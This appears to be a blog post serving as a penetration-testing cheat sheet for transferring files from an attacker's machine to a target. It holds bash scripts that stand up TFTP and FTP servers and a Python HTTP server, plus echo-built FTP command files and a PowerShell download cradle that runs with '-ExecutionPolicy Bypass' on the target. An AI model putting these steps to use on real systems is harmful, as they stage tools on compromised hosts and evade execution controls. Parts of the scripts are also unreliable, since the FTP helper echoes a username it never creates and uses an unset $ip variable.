Transfering files



The methods and scripts below may be used for transfering files.

TFTP script  (bash)

Replace directory to one of choice and run this bash script to setup a working tftp server and get guidance on how to download a file from the server. NB, the directory of choice will be exposed for anyone to download the files available in the folder.

apt-get install atftp
directory=/tmp/tftp/
mkdir $directory
echo "Starting TFTP server on PORT 69 on dir $directory"
atftpd --daemon --port 69 $directory
echo "You may now download files with: tftp -i <ip> get <file>"
echo "Example: tftp -i 192.168.0.1 get file.txt"
read -p "Press enter when done to stop the tftp server" wait
killall atftpd

FTP script (bash)

replace directory and file to one of choice and run this bash script to setup a working ftp server and get guidance on how to download a file from the server.

apt-get install pure-ftp
directory=/tmp/ftp
dfile=file.txt
mkdir $directory
groupadd ftpgroup 
useradd -g ftpgroup -d /dev/null -s /etc ftpuser 
pure-pw add username -u ftpuser -d $directory 
pure-pw usermod username -u ftpuser -d $directory 
pure-pw passwd username
read -p "Enter password once more: " ftp_pass
pure-pw mkdb 
cd /etc/pure-ftpd/auth/ 
ln -s ../conf/PureDB 60pdb 
mkdir -p $directory
chown -R ftpuser:ftpgroup $directory
service pure-ftpd restart 
echo "You may now download files by pasting the following in a shell on the remote host: "
echo "Make sure there are no white spaces!"
     echo 
     echo "echo open $ip 21> ftp.txt"
     echo "echo USER wizard >> ftp.txt"
     echo "echo $ftp_pass>> ftp.txt"
     echo "echo bin>> ftp.txt"
     echo "echo get $dfile >> ftp.txt"
     echo "echo bye >> ftp.txt"
     echo "ftp -v -n -s:ftp.txt"
     echo ""
read -p "Press enter when done to stop the FTP server" wait
service pure-ftpd stop

Powershell (wget)

On the attack machine enter a folder where files to transfer are located and run:

python -m SimpleHTTPServer

On the target machine,to download a file run the following after recplacing $dfile with file to transfer, and $ip with ip address.

echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1 
echo $url = "http://$ip:8000/$dfile" >>wget.ps1 
echo $file = "$dfile" >>wget.ps1 
echo $webclient.DownloadFile($url,$file) >>wget.ps1 
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

 

Leave a Reply

Your email address will not be published. Required fields are marked *